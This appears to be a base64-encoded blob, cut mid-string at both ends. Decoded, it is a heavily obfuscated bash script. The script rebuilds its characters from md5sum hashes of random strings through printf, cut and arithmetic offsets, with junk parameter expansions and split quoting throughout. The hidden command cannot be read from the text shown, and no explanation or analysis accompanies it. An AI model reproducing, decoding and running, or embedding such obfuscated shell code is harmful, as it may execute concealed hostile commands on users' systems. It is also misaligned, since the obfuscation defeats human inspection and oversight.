mVKOnRcIX0gfCAgICIke0AjPFx7P3R9IiAgJHsqLH1jdScnJCdcdTAwNzQnIC1iICAkKCggICAoKDQ0JHsqLCx9IzArJHsqLz1kZ3IvXH1cKTVMTio2fTE0IyR7KiMjTEJjLk59MTIpKyIyIiMxIiR7QCwsfSIwMCkgICApKS0kWyAoLSgtKDgjIiR7QH5+fSIxMC0tIjIiNyIjIjFlKSsyNyMxJHsqXn0xKSkgXSAkeyFAfSAgICkiICAiJHtALy8yeS5ucz8vRDFvOW9XfSIgJHsqLy8jO2dQdUw3fSAgIDsgJHsqXn0gICBccCJyImludCdmJyAgIlx4JCggJHsqXn0gICQqICBwJHshKn1yJHsqJSVyXkYsfWkiIm50ImYiICVzICdyIVRzcicgICAkeyovLyMjNUc5OWpGfSB8ICIke0AlJUB8LkpUQzNffSIgICAkeyolJTtiTypOQGc1fW1cZCcnNSIiJ3MndW0gJHsqJSVCbVF4ZklhfSAgJHshKn0gICB8ICAgJHsqLz1INCZ9ICAgY3UiJHtAXl59InQgICAtYiAgJCgoICAoKCQqLTIyIyIxIioiMyIiOSIiIyIke0B9MCkrMiMiJHtAfn59IjEke0AsLH0wMCkgKSktJFsgICgoLSI0IjMjIjEiLTIiIyIxIjAiJHsqLCx9MCkrIiR7QCNIXj5ZfSIyIyIxIjAxMCkgICBdICAgJHsqfSAgJHtAJSVEKyU1c1wiXCI4fSAgICkiICR7Kn59IDsgJHsqIyNZdEMwfSAgcCIiJCdyXHg2OSdcbiQnXDE2NCcnZicgICJceCQoICAgJHsqJVx9Q0h1Pn0gJHsqJSVpO1h+XFx9ICAiInBcciQnXHg2OSciJHtAXl59Im4kJ1x4NzQnJyciZiIgICAlcyAnI1RoKyp3JyAgICIke0AjJHRhXHs/fSIgICAkKiAgfCAke0AlJX4/eHVDXCIlR30gICAkeyFAfW0nZCc1J3MnIiJ1IiInbScgJHsqXl59ICAiJHtAXl59IiB8ICAkQCAgIGNcdSd0JyAgIC1iICAkKCggKC0oLSgkeyovL3UzXGBHfS0keyp9MiIjIjExKzUiMiIkeyp+fn0jaykrMyR7KiVXUCV4Llh1fSMyMCkpICkpLSQoKCAoKCR7QF59LTIwIyR7IUB9MSIwIiszIzIke0B+fTEpKzMxI3ApICAgKSkgJHshQH0gICkiICAgJHsqIyN6NjVedn0gICAke0AvRiprVlVkQCQveCVtQT1MM30gJiYgJHsqfn0gICQqICAiIiR7Kl5efXAnJ1xyXGknbidcdGYgICAiXHgkKCAkeyovMmR6WSssbFV9ICBwclxpbnQkQGYgICVzICAneCRCJXtOJyAgICR7Kn59ICB8ICAkeyosLH0gICQnXHg2ZGQnJyciNSJzdW0gJHtAfSB8ICAgIiR7QH59IiAgJCdcdTAwNjMnJCd1XDE2NCcgIC1iICAkKCggICgoLTIiIyIxMDAtJHsqfn59LTQiIyIiMiIxKSs1IjkiIiMiMSkgICkpLSRbICgoIjYiMCR7KiVyXGAtXHoscSp9IyIwIiozJHsqLy9mSzI3V1F9MCMxKSs3IzEwKSAgXSAgICR7QCMjXGBcW0RGfSApIiAgICR7QCMjXjw5dz1JfSA7ICAgJHsqLzRcW2pIbi9xd0AwNllcYDt9ICAgJHtAL0RjbC1kN0Z2Lz8+OlwobCpSKn0gICAkJ1wxNjAnJ3InJ2knIiR7QCwsfSJudCIiJCdcMTQ2JyAiXHgkKCAkeyovL0ZcW2w2SVViJC9ANGEjYyp9ICJwIiR7QF59ciIke0AjdCZDanh9ImludCR7Kn1mICAgJXMgJ2oyKmknICR7QCMjQW9zZDNkfSB8ICAgJCogbWQnNSdccyQnXHg3NSciJHtAI241d0lcLUZ9Im0gICAkeyovLy02fmNMfSAgICR7Kn59IHwgICR7ISp9ICBcYyR7QF59dXQgICAtYiAgJFsgICAoKDMwIiMiai03IzEwKSs1OCNoKSAgIF0tJFsgICgtKC0oIiR7QH0iNTUkeypeXn0jImQiKiIyIiMxMTApKzI1IzFuKSkgICBdICR7Ki8vNzF0TE59ICR7Ki90THppXCFrNX0gICApIiAgICR7Kl59ICAgJHsqJUVQVUg7cllxfSAgJiYgJHtAJSVhXCF+NmN9ICAgJ3AncmkkJ1x1MDA2ZSdcdGYgIlx4JCggICAkeyp9ICAgJHtALyNJYm1cfX1wJCdyXHUwMDY5JyIiblx0J2YnICVzICAgJ2xRSzEsOG4mJyAke0B+fSAgICR7Kn0gfCAgICR7KiU+ayRSfSAgJCdtXHg2NCckKCggICgoLTQjMiIwIistMiIke0AjI2p2XHsqeS1jfSIjMSIxIikrMzIjZykgICApKXN1bSAkeyp+fn0gICB8ICAke0AvL2tcIXI0eT59ICAiJEAiICAgYyQnXHg3NSciJHtAIyRUUldPemtmfSJ0IC1iICRbICAgKCg3IzEyKiItIjIjIjEiMDEpKyIyIiI2IiR7Ki8vXFx6MnR9IyR7QH5+fTJmKSBdLSRbICgoMyIjIjEkKjAwKiI1IjIjMCkrJHsqfn59MjIiIyIxMSkgXSAgICR7ISp9ICAke0AsfSAgKSIgICR7KiUtUEIkQ1V9ICAkeyovL1xgXCFuTS86bDN5UlZ9IDsgICR7KiNKbWxcW3JwXCJVfSAgJHsqLH0gICAncCdyaVxudCIiZiAgIlx4JCggJHsqL3dPXH1+L1x9LlwoLjBILn0gJydccHInJ2kkeyojI2dcXXBIXClGXCktfW50IiJmICAlcyAnflpTPTh0bVEnICAgIiR7QC92VVxydC9cKSVicDQwfSIgICAkeyosfSAgfCAke0AvMGdAZVY/cH0gICAkJ1x4NmRcMTQ0NXMnXHVtICAkeyovYStCXF0+Y30gJHtAXn0gfCAiJHtAfn0iICAiJHtAfn59IiAiImMkeyolJVo8XFtaJGF9dSR7IUB9dCAgLWIgICAkKCggICAoKDE4IyR7QC88Yzc8RX0xLTQjIiR7QCx9IjEwKSs1MCR7Kn5+fSNrKSApKS0kKCggICgtKC0oMyI5IiR7KiMjPld0elx7SFo3fSNrLS0zIjkiI3IpKzIke0AsLH0zIzEiNiIpKSAgKSkgICR7KiwsfSAgKSIgJCogJHsqLCx9ICAgJiYgICR7QF59ICAgJHtALCx9ICdwJyR7Ki8+UmhcW3UkfFJ9ciIiJCdpXHUwMDZlJyd0JyIiZiAgIlx4JCggICIke0AvL0xqbjAtc2ovSSRwPkx5fSIgICAiJHtALy91RjhLVCQ+XF0vQGpITWIyXCJ2fSIgIFxwJCdyXDE1MSduInQiXGYgJXMgICAnY1gqelg7JEAnICAgIiR7QH59IiAgfCAgJHsqXl59ICAgJHsqfn0gICIibWQiIlw1JCdcdTAwNzMnJCdcMTY1bScgIiR7QCx9IiAgICR7QF59ICAgfCAgIiR7QC9ONmkmL3lcYDQtMXB9IiAiJEAiICAgJydjdSIiXHQgIC1iICRbICgoLTUyIyJDIiskeyp+fn0tNDMjImIiKSs0JHsqL3lwSlx7K0sveSN4fGo5fTgiIyIiMSJrKSAgIF0tJFsgICAoLSgtKDQiIyIyMS0iLSIzOSMiQSIpKyIke0AvL1JoalRlYn0iMyIwIiMiJHtAfn59InApKSBdICIke0AsfSIgIiR7QCNtTmlCO01vdX0iICkiICIkQCIgICAkeyovTUU3MiVZZUd9ICYmICAgJHtAfSAgJHshQH0gIHByaW5cdCcnImYiICAgIlx4JCggICAke0B+fn0gIHAiInJpbiIidCQnXDE0NicgICVzICAgJzV5LjgnICAke0AvL1lNT1xdUC9ZODdWfSAgfCAgICR7Kl5efSAgIG1cZCIiJzUnc3VtICAkeyolJW9nV3YwX30gJHtALH0gfCAgJHsqIyNpZ3lcITF9ICBjdSIiJCdcMTY0JyAgLWIgICRbICAoKDMiIyIkeyp+fTEwLSR7KiwsfTMjIiRAIjEwKSskeyolJSp5dDdfRnR9MSI0IiIke0AsLH0iIzIpICBdLSQoKCAgICgtKC0oNCIjIjEyLS0yNiMxKSsiMiIiJHtAL0Z6MkxfaXovWGtQOn0iIzEwMCkpICkpICAkeyosfSAiJHtALH0iICkiICIke0AsLH0iICAmJiAgJHsqfn0gIHAnJyQnXHg3MicnJ2ludGYgIlx4JCggIiR7QCUqZCpmeC59IiAgJHtAXl59ICAgJCdcdTAwNzAnXHJpbnQiZiIgICAlcyAnZHEhIScgJHshQH0gJHsqfn0gfCAke0AvLzstazQlXCF9ICAgJHsqL1x7SUtIOXEvNWk/PVl+TDZ9IG1kNXMiIlx1bSAgICIke0B+fSIgICIke0AlRSVKdzV3XCh9IiB8ICAke0BeXn0gXGMiIlx1J3QnICAtYiAkKCggKC0oLSgyIyIxIiIxIisiNCI3I2cpKyR7ISp9NDAjIjAiKSkgICkpLSQoKCAoLSgtKC0zIzEwKyR7KiMjJmJqTlxbaG1OfTQ2I24pKyI0IjkiJHtALH0iIzApKSApKSAkKiAgJHshQH0gICkiICAke0AjQkFcKVwhfSAgOyAgICR7QH5+fSBccFxyaSR7KiUlaVwhdi1Yan1uXHQnJyQnXHUwMDY2JyAgIlx4JCggJHtAL18xXGAxL0cyXCkkKnBCaX0gICBwJHtAL1N+Nys0WH1yaW50ZiAlcyAnOHprYScgICIke0AjI1M8PVwpUzlqXCJ9IiAgIHwgICAiJHtALy9SXCg4bi9UVlN3bjZ9IiAgICIiJ20nZCRbICAgKCgiMSI1IzArMjEjJHsqfn59MCkrJHtAIy5RJTJ9NCMxIjEiKSBdcyRAdW0gICR7Ki9WOXIxWH0gICB8ICAgJHtAJVZuMDx8fSAgJHsqXn0gICAkJ1x1MDA2MyciIiR7QCx9dSR7KiUlXFZwN3l9dCAgIC1iICAkWyAgICgtKC0oMSR7QCN6N0VNU304IiR7QC95Yl5hXEQvbzA2dys3fSIjMiIke0BefSJiLSIke0AlJCtZalwoSlh9Ii0iMiIjMTEpKzU1I2wpKSAgIF0tJFsgICgoJHsqfn01IiMiMSR7IUB9MSoiMiIiJHtAfn59IjMjJHsqfTEpKzU0I28pICBdICIke0AsLH0iICR7QH0gICApIiAgICR7QF59IDsgICAkeyoleSw4XCEjRX0gICR7IUB9ICAncCcncidpIiIibiJ0JHsqL19JVkkvajBucGxMU31mICAiXHgkKCAgICR7QC8xXH1SajI2L0RcITZFYX0gICAnJ1xwJHtAfXIkJ1x1MDA2OSckeyojIytoRVV9biQnXHUwMDc0JyR7Ki8vSUM6JH5ERk0vXF1oXGAxXFtIfWYgJXMgJ3s2KTonICAke0AjZ1kzWE03fSAgIHwgJHtALyxOLFxgZ30gICBtImQiNScncycndSIiXG0gJHsqXl59ICB8ICAkeyovOS5kMS9Uemw3U2Y6fSAgICR7QH0gICAiYyJ1InQiICAgLWIgICQoKCAgKCgiLSIiMiIxIyRAMiotIjMiIzEiMSIpKzQwI2kpICApKS0kWyAoKC0iMyIiMSIjMW4rMiIjIjEwMDEiMSIpKzE2IzMkeyp9ZSkgIF0gICR7QH5+fSAgKSIgICAiJHtAL1xgJlxXL3RONT4wXCl9IiAgJHtAJVwhSFw5fSAmJiAiJHtAXl59IiAgIiR7QC8vRFxdXH1eO2p9IiAgIHAke0AsLH1yaSIibnRcZiAiXHgkKCAkQCAkeyp+fSAkJ3BcdTAwNzJpJ1xuJyckJ3RcdTAwNjYnICVzICAnVEp5IU16ZGInICAgJHtAJSVGYT5sfn0gICAiJHtAIzQ/XF12TS1Nb30iICB8ICAkeyolJWZCbVw8dVglfSAgICIkQCIgXG1kNSIiXHN1bSAgJHsqJVwpQHZydyxQfSAgIHwgIiR7QCUlMFBQXF0lcn0iICAgIiRAIiAiYyInJ3UndCcgLWIgICAkKCggICgoIi0iNTQjMi0zOSMiMSIpKzYxI2EpICAgKSktJFsgKCgyJHsqfn59NiMyKjE4IyR7Kn5+fTEpKyIzIiIjIjIwKSBdICAkKiApIiAgICR7Kl5efSAmJiAgJHtAfn0gICAiIiQnXDE2MCcncidcaSIiJ24nJHshKn10ZiAiXHgkKCAke0AvL3ZkfktyL0hlWEJcW30gICR7Kn0gIFxwJHsqLy98X0xoLzokd2x2d1xdfXIiIidpJyQnXHg2ZScnJ1x0ZiAlcyAgICdce3cyNicgICAkeypeXn0gICIke0AsfSIgfCAgICR7KiU2U0BacFxbWH0gJyckJ1x4NmQnZDVzdSQnXHg2ZCcgICIkQCIgICB8ICAgJHsqLy9KPX56OTovUyVcIVx4UFYqfSAgJHsqfn59ICdjJyd1JycnJCdceDc0JyAtYiAgICQoKCAoKCR7QCUlP1wpTFJ+UX0tNyR7QCx9IzI1LS00IzEiMSIwKSs0NiIjIiJzIikgICkpLSRbICAgKCgiLSIke0B+fn0yIzExIjAiIjEiKzQkeyp9MCMiQiIpKzIjMTEkeyp+fTApIF0gJHsqL3hcWyZcW1xdL2JvIzkjMGNhfSAkeyovNUQ+S0cvQCw5YjxmXG59ICApIiAgICIke0AvalJWeH0iICAgJiYgJHsqLH0gICAkeyovL1ZXNztufSAgcFxyXGknJ250ZiAiXHgkKCAkQCAgICcnXHAncidpJ24ndCcnJHshQH1mICAgJXMgJy5pQE5RPyFTJyAgJHsqJSVSc1pTTn0gIiR7QC9kJFY4L0EmSTt9IiB8ICQqICR7KiNcXT5cYCorfSAgbWRcNXMkeyp+fn11bSAgJHsqLH0gJHtALyYuRnhcIn0gICB8ICR7Kn59ICAgJHsqXl59ICAgJHtALCx9Y3V0IC1iICQoKCAgICgoJEAtMzYjMSozIjciIzIpKzMyI2gpICApKS0kKCggKCgtMiMxIjEiKiR7KiMjbT1ORFYscWV9MyR7Ki9Vc3JQcC8jQE1oVDhtfSMkKjExKSsyIjUiIiMiMTMpICkpICAkeypefSAgICkiICAkeyp9ICR7KiMjQjRHfk81a30gOyAgICIke0AlOlwpQ2d0SlBlfSIgICBccCcnclxpJ24ndGYgIlx4JCggJHtALCx9ICAgJHsqL3ouUFxcfSAgJCdcdTAwNzAnJ3InXGluIiIkJ1wxNjRmJyAgJXMgICdKVW5aY0onICAgJCogICIke0B+fn0iICAgfCAkeypeXn0gICR7QCwsfSAgIFxtJHtAI1xdLm1cInFDfWRcNSJzIlx1JHsqfn59bSAke0B+fn0gICR7QH5+fSB8ICAgJHsqXl59ICAgXGMndSciIiJ0IiAgIC1iICRbICAoKCIke0AvX2tHXkVsfSItNiMxMio0IzEiMiIpKyR7QCwsfTI2IyIzIjEpICBdLSRbICgoIi0iMyMkeyovL083NkAsTH0xIjAiMCokeyosLH02JHsqfn59NCIjIjApKzY0I3cpICAgXSAke0Ald2FAOX0gICR7QCMjVnlOXHt9ICkiICAgJHsqXn0gJHsqL2FEWHFtSi9zRUVcKFxgfSAgICYmICAkeyp+fSAgcHIiImkiJHtAL0d8V1N1a1YmfSJudGYgIlx4JCggJHsqLy9odXM/Ln5uR30gICIke0AvPG51Lj9FYUF9IiAicCJyJHtAfn1pbnQnZicgICVzICAgJzU+X3snICAkeyosfSAgJHsqLCx9ICB8ICAkeypeXn0gICcnbWQ1J3MnJydcdSR7IUB9bSAgJHtAXl59ICAiJHtAXl59IiAgIHwgICAiJHtALH0iICAgJHtALCx9ICIiXGN1XHQgLWIgICAkKCggICAoLSgtKCI1IjEjIjIiLSR7KiMjI3BjNX00MSIke0AvXHorRjFEMyMvc1xbWVJcIV53fSIjIjAiKSs1MiMiMCIpKSAgICkpLSQoKCAoKC0yIzEkeypefTErMzMjMCkrIjUiIyIxIjEpICAgKSkgICR7ISp9ICkiICR7KiUlbjtCXFtzXFtafSA7ICAgJHtAI1xgZWhcQnZMfSAkeypeXn0gICAicCIkJ1wxNjInXGkkJ1wxNTYnJyckJ1x1MDA3NCckQGYgICJceCQoICAkeyolJVhcKDpzWnkxSn0gJHsqfn59cFxyImkiblx0ZiAgJXMgICAnS3FSaFE4VVYnICAgJHsqXl59ICAkeyolMyQsfH0gfCAgJHsqI1NcYHFAfSAgIFxtZDUnJyQnXHUwMDczJyIiJCdcMTY1XHUwMDZkJyAgICR7Kn0gICB8ICR7QC8sXF0rfiV9ICQnXHUwMDYzdScke0B9dCAtYiAgJCgoICAoLSgtKCIke0AsfSI1NyR7Ki8vTlIxUzs/fSNHLTM1IyR7QCx9aSkrJHsqfn02IjAiIzIpKSAgICkpLSRbICAgKCgtMiIwIiMxKjMiIyIiMSIiMiIpKyR7Kix9MzAjInMiKSAgIF0gICAkeyovL3JUNjJrfSAiJHtAfn0iICApIiAke0AvTVx3RmM6QS9YXFtvRzBeXFx9ICAgJiYgIiR7QH59IiAgICR7Kn0gIHAkeyp9ciJpIiIibnQiImYgICAiXHgkKCAgICR7Kn0gJHsqfn1wcmknJyQnblwxNjQnJ2YnICAgJXMgJ0h9czwnICAgJHsqLy9GaDFyYy9GQzojan0gICR7QF59ICB8ICR7Kn5+fSAgICJtIiR7Kl5efWQ1XHN1JHtAfn1tICR7QCVrJWtaeT89fSAgfCAgIiR7QC9ZI0NRJjdRZX0iICAgJHtALy8wfGpCen0gICBjdVx0ICAtYiAgJCgoICAoKDEiMyIjMioiMyIjMTEpKzMjJEAxMikgKSktJCgoICAoKC0iNCIjIiR7QC8vOmVPdzh9IjEke0AvZlZcKCp+dzIvfGxYXHsrfTItLTQjJHsqLy9LLklvXF0vblxgXClsTnp9MSR7KiMjXClcIUl4fTApKzMiNCIjImciKSApKSAgJHsqLH0gICkiICAke0AlQ1B3RGoqMVd9ICAgJHsqI1xdajI1fSAgJiYgICAkQCAgICQnXDE2MCciIiQnXHg3MidpIm4idGYgICJceCQoICAgJHsqLH0gJHsqI1MwQUN0NH0gcCdyJ2kiIiduJyR7KiUldlQxJEh9dCIiIiR7QF5efSJmICAgJXMgJzFmXDcnICR7QCwsfSAgfCAgICQqICcnJ20nIiJkJCgoICgoLTUjJHsqLH0xMystMzEjMikrIjUiJHsqJSVcVT05ZCZ9MiMiZiIpICkpc3VcbSAgICQqICAiJHtAXl59IiAgIHwgICAke0AsfSAke0B9ICBjInUidCAgLWIgICQoKCAgICgtKC0oLTQjMjAqIi0iNSMxJHsqLy9YMkRcWzZcXC9MeUtLWH0xKSske0B9MSR7Ki92XCJGcCN9OSMxMSkpICApKS0kKCggICgoIi0iIjEiMyIjImIqNSIjIiIke0AlJUBcIWltUzhafSIxMSkrNjEkeyolbCs6ViZ9IyIxIiJ5IikgKSkgICR7KiwsfSAkeyovL3I9SWVwXGBNK30gKSIgICAiJHtAfn59IiAiJHtAJSVqLW5pTn0iICAgOyAgJHtALH0gICAkeyovZnI9bTJLfSAgJHsqL1wrc29wfXBcclxpJCdcdTAwNmUndFxmICJceCQoICAiJHtAJSVcKVkyQX0iIHBccidpJyQnblx4NzQnJHtALH1mICVzICAnLVs0eWBaJyAkeyosfSAgIHwgICAke0BefSAiJHtAfSIgIG0iIlxkJCdcdTAwMzUnXHMnJ3UiIm0gJHsqLy9cfUZQVy9GeHRQeCV9ICAkeyolJSNrVz4jfSAgfCAkeyosLH0gICR7KiUlcEA2XCJWSm19ICAkeyojIzxBXGBXSXhcW0R9YyQnXDE2NSckJ1x4NzQnICAtYiAgICQoKCAgKC0oLSgyMiMiJHtAfn59IjEtLSIke0AlJSxjanBKXHt9IjMjMikrIiR7QH5+fSIyNCMxKSkgKSktJFsgICAoLSgtKCIzIiMxMS01IjQiIiMiIjEiKSszMiR7Ki9cInY6RTZnPUt9IyIwIikpICBdICAkeyosfSAgIiRAIiAgKSIgICAkeyp+fSAgJiYgICAke0Avbix1djxce30gICQnXHg3MHJpJ24keyovLzRxWlA4Vn10JydmICJceCQoICAgJHsqJSVcInY3cl9MT30gICBwJ3InaW50ZiAlcyAgICc/czhQWVwlJyAgJHtALCx9ICR7QF5efSAgIHwgJHsqL1QxcVx7LkIvOllxaXd9ICAkeyojIyR2RXRcInhrPX0gICAkeyp9bSJkIiIiNVxzdSR7QCMjTTJEdHRTfW0gICAke0AlcjNJS3Z9IHwgICAkeyovS1h8ZThsLyRDUGlWYWVIfSAgXGMiIiQnXHUwMDc1JyIidCAtYiAgICRbICgoLTUkeyovLzVcKTRFeH05IyIyIi02MCMyKSsyMyMiJHtAI0RILCMmfSJnKSAgXS0kWyAoKC0zNiIjIjEqMyIjIiR7Ki8vRGpvTF49bH0xMSkrIiRAIjQ5IyR7Kn1oKSAgIF0gJHsqXn0gICAkQCAgICkiICAkeyosLH0gOyAgICR7ISp9ICAkJ1x1MDA3MCdcclxpJCdcMTU2dCcnZicgIlx4JCggICAke0AjI2FcKVgyRT9VNX0gJHsqJUNLSVwiSXhpfSAgIFxwcidpJyIibiIidFxmICAlcyAnN2NlZ30nICAke0AlfjdiXiN9ICAiJHtAXl59IiB8ICR7KiMjRm5CXFsrfH0gIiJcbSR7Ki8vWHleZiVGNn1kNSQnXHUwMDczJyR7KiMjLjBcXVlcYn11XG0gJHsqLy9JdEh2fSAgIHwgICAiJHtALyw9XClhMDBEL2Zce2xQbTZrfSIgIiR7QCwsfSIgIiInYyckJ1wxNjUndCAtYiAgJFsgICAoKDIjIjEiMDEqLTQjMTApKzE4IzFmKSAgIF0tJCgoICAgKCgyOCNvLTQke0B9OSIjImIpKzQ3IzEpICApKSAkeyEqfSAgKSIgICR7QCx9ICYmICIke0AveTRLXyU8MFcvXFxGXH1EK30iICAgIiIkeyovL1whXGBMfXAnJ3JpbnQkeyosLH1mICJceCQoICAgIiR7QH5+fSIgICAke0AvL2VRdH5ce30gIHAiciIkJ1x4NjknIiJudFxmICAlcyAgJ0dIRjMqeycgICQqICAiJHtALH0iIHwgICAke0AlJVx9Sjh4XGAqTX0gbScnZCQnXHgzNXN1JyJtIiAgJHsqLy9nLUdWdEAmXF19IHwgICR7Kn59ICAke0AjI2tqP3JufSAkJ1x1MDA2Mycke0AjI0AyaFwifXUndCcgLWIgICQoKCAgKCgxNyMxKjUiMCIjMikrIjUiJHsqL2Fnd1xdfSMkKjEiJHtALCx9IjApICAgKSktJFsgKCgkeyovfkZ0PH0zIiR7QC8vbjxcYDQvQFlaOVU9Nn0iNyIjIiIyIioiMyIkeyovMi5STzV5O3x9OSIjIjApKyR7QCwsfTgjMTApICBdICAgJHtAfn0gICkiICIke0B9IiAkeyojdjFqUn0gICAmJiAgICR7KiUyZ05RXFtcKX0gICR7KiVcIVwibEdlan0gICBwcicnImkiIm4iJCdcdTAwNzQnImYiICAiXHgkKCAkeyp+fn0gICAke0B+fn0gJHtAXl59cHIkeyp+fn1pJyduXHRmICAgJXMgICdaUCs6JyAgIiR7QCwsfSIgIHwgICAke0AvLzxcIlkyR19ZLzUmclVvfSAgJHtAfn0gIFxtIiR7QF5efSJkJCgoICAgKCgtNDAjMSokKjIiMyIjMSkrIjIiIiR7QCx9IiMiMSIxMCkgKSkiInNcdSdtJyAgJHsqLy80LVI6OCt9ICAgIiR7QH5+fSIgfCAkeyolJVA4SjJ8TmRZfSAgICdjJ3UnJ3QgIC1iICAgJFsgKCgiLSIiNiIjMTIqMjkiIyIkeyFAfTApKzIiNCIjIm0iKSBdLSQoKCAoKC0xJEAyJHtAfn59IyIxImErMSIkQCIyIzEkeyp+fTEpKzMiMCIke0AjI180VVwiaXhTNX0jMSIyIikgKSkgJHtAfn59ICR7Kn5+fSAgICkiICAiJHtAL3puYlx7dFYvfHQ/en0iICIke0BeXn0iICAmJiAgICR7Kn0gICBwXHJpIm4iJCdceDc0JyIiZiAgIlx4JCggICAkeyFAfSAiJEAiIFxwcicnaScnXG5cdGYgICAlcyAnbHMtZCcgICIke0AvQixuKnNcKTV9IiAkeyojZ1x7ckJ1QjV9IHwgICQqICAkeyp+fn1tIiJkNXN1JHsqLy85Lk9cKHRDfW0gICR7Kn0gICB8ICR7QC8vcUEwLnEvRVR8XChPfSAgJHshKn0gIGMkeyovJS0ra2UvX1wibkw2XHtVZn11XHQgLWIgJFsgKCgkeyojI0llZjdlUXx9LTIiMyIjbCszIiMiMSR7KiNcW3IsUj1ffTIpKyI1IjIjcykgXS0kWyAgKCgtMjkjbyske0BeXn01OCNvKSsxMSMxIjIiKSAgIF0gICR7Kl59ICAgKSIgICAke0B+fSAgJHsqLCx9ICA7ICR7Kn0gICIke0BeXn0iICAicCIiInIiaSInJyQnXHUwMDZlJ1x0J2YnICAgIlx4JCggICR7Kl5efSAgJHsqI3VTcEA7fSBwJCdyXHg2OW4nJHsqLH10JCdcdTAwNjYnICAgJXMgICAnNmpoeScgJHtALCx9ICAkeypeXn0gICB8ICAkeyovOzY/XCg3fSAkeypeXn0gICAibSJkNVxzdW0gJHsqXn0gIHwgIiR7QCUlLjVoPFxgMX0iIGMnJ3Ukeyp+fn10IC1iICAgJCgoICAgKC0oLSgxJHsqfTkjYSskeyp+fn01IjMiI2kpKzYwI2QpKSApKS0kKCggKCg0IjAiJHtALH0jMSoyJHshQH0jMSIxIikrIjYiMCNkKSAgICkpICAgJHsqfn59ICAkeyEqfSAgICkiICIke0B+fSIgICR7QF59ICAgOyAgICR7QH59ICAgcHJpbnRmICAiXHgkKCAgIiR7QF59IiAgJHsqLy9uU3UjXChmdEovPF9sTkg3fSAgIHAnJ3JpbnQnJ1xmICAgJXMgJ3R+TigsKyxTJyAgICR7QH0gICAiJHtAXn0iICB8ICR7Kix9ICAgJHsqLy8lNTNcKD1tLytqXix+fSBtJ2QnJCgoICAoKCItIjYzIyIxIiokeyp9NTIiIyIiMSIpKyI2IiR7Kn5+fSMxIjAiKSAgICkpJ3MndW0gICR7Kn0gfCAgICR7ISp9ICAgIiJjdXQgLWIgICRbICAgKCgke0B+fTI1IyR7QC9OXk1kST99ZSstNDcjMikrIiR7QCx9IjYiIyIiMSIxKSBdLSRbICgtKC0oNDAiIyJ0LSR7Kl59LTU3IiMiZykrJCoyMyMiMSIyKSkgXSAkeyovTFxgcyMsbVUvI1wiT0deN30gICApIiAgJHsqXl59IDsgJHtALy9IanJNby88YXdnNi19IHAiciJcaSR7QC8vVkM6cy8mb01ufW4iInQiZiIgICAiXHgkKCAgICR7QF59ICAgJHsqL34jLVM0bkhcfS9cKEduXCF9cCIiJCdcMTYyJyR7Kl5efWluJ3QnZiAgICVzICd8M1J8VCcgICAkeypefSAgIHwgICR7QCMjdzxwMX0gICBtZDVzXHUnbScgICAkeyojI3Y7JkVsfSAgICR7Ki8vfmZ5OmEvckd+SH0gIHwgIiR7QC8vZjo9QnM3bU8vMVdpRmd9IiAkeyovRj5cIlJTc3oval5yXmdkfSAgIGN1dCAgLWIgICRbICgtKC0oJHsqIyN2c1gsclRcYFwpfTQ2IiMiZi0tIiR7QC8vSEZyLS9ce2pRUDB9IjQiNSIjIjEiKSs0IyIxIjApKSAgIF0tJFsgICAoLSgtKDQkeyojIytzXCJcIjhkfSMiMSIyLS00IiMiMiIxIikrJHsqLCx9MiI5IiMiMiIpKSBdICAgJHsqLy9YPSM7QnVcKC9CNVI/TH0gICkiICAgJHsqLH0gJHtALH0gICAmJiAgICR7KiUlZU5eakJ9ICAke0AlXCFMSVlBaH0gJyckeypefXAncidpJ24ndGYgIlx4JCggICAke0AvL1xgYS1cW1h9ICR7KiNcIUZOdFwpMVQlfXByaSIiJCduXHg3NGYnICAgJXMgICAnUChXeicgJHsqLy8qUW02O2hnfSAgICIke0AjI1g+SlxbbSR9IiAgIHwgICIkQCIgICR7Ki8vQzF0UUkvXCI6LHJ9bSdkJzVzJyckJ1x4NzUnJHtAfn59bSAkeyEqfSB8ICAgJHtAXl59IGMnJ1x1dCAgLWIgJCgoICgoIjMiNiMiJHtALH0iMCo1IzEwKSs0IjYiIiMiJEBmKSAgICkpLSRbICAoLSgtKDYjMTIqNCR7QCVIVUNJfTIkeyp9IyIyIikrMiR7Kl5efSMwKSkgICBdICAgJCogIiR7QC8vek1VNmxXXy8rXCFcInM0YlwoPH0iICkiICAkeypefSAkeypefSAgJiYgJHshKn0gICR7KiUlJlNcW1czXFt9ICAkeyojI3M9UFN9cCR7QC9iayUqYjtGLzVpYX5YfXIiJHtAfn59ImluIiJ0ZiAiXHgkKCAgICR7Ki8vaCpceyMvVERoeVNcKH0gICAnJyR7KiwsfXAkeyp+fXJpbnRmICAlcyAnczlhS1ZacHQnICAgIiR7QF59IiAgICR7Kn59ICB8ICAgJHtAfn59ICIke0B9Im0iIiJkIjUncyciIiQnXHg3NScibSIgICR7KiUkbTdYeDFsfSAgfCAgICR7QCMjNkQxXH1LfSAiJEAiICAkeyovTDhaZSZlVTovb09ER31jJCd1XHg3NCcgICAtYiAgJCgoICAgKC0oLSg0JHsqI0g1fEV9NiNjLS0zJHsqIyNZR1ljfTMiIyIxKSs1OSMyKSkgICApKS0kKCggICgoLSIzIiMxIjEiKiR7KiMjOjVJMyR9MyMxMCkrMSR7Kl5efTEjMjIpICApKSAiJEAiICAkeyovO0lsaH0gICApIiAgICR7KiUlYix+WjJce30gJHtAXn0gICAmJiAgICR7Kn59ICAgcCcncicnXGluXHRmICAgIlx4JCggICAkeyovLz8sNCNZWi8yS1FvQn0gICIke0AjIzsyJEF9IiAgcCR7Ki8vUiRXJiZ9cmluIiIkeypefXRcZiAgJXMgICdMbH40ajNoJyAiJHtAfSIgICR7KiUlPWlHOD19ICB8ICAiJHtALH0iICAgJHsqL3A+c1wiMDN9bScnXGQkWyAgKC0oLSgkeyovWS1nYW99MjYjIiR7QCMjcTxIJTx9ImEtLTIiJHtAJSVNUDhIR30iIyIxIjEpKzMjMiIyIikpIF0nJ1xzdSIibSAgJHsqfn0gJHtAXn0gfCAgIiR7QC8+XDRHdixTXCIvWkpMaCZ9IiAgXGMnJyQnXHg3NScnJ1x0ICAtYiAgICQoKCAgICgoLTExJHsqL05BVjcvJjt+d30jJHsqLH0yKzQzIzApKzMjMTApICkpLSRbICAoKDU2IzArIjEiNyMiMCIpKzUxJHsqIyMuTVlwXn0jJHsqLzdmbkN4ZHcvSjlxSlR9MikgIF0gJHsqL14tSEovLEJ1aSt9ICR7QCV1QTQ6XGBcfX59ICAgKSIgICR7Ki85T0JYN1dsfSAgICYmICAkeyovdCRONTsvUWUjMFklfSAgICIke0AvLz5NVE1cXWV9IiAiIiQqcCdyJ2kkJ1wxN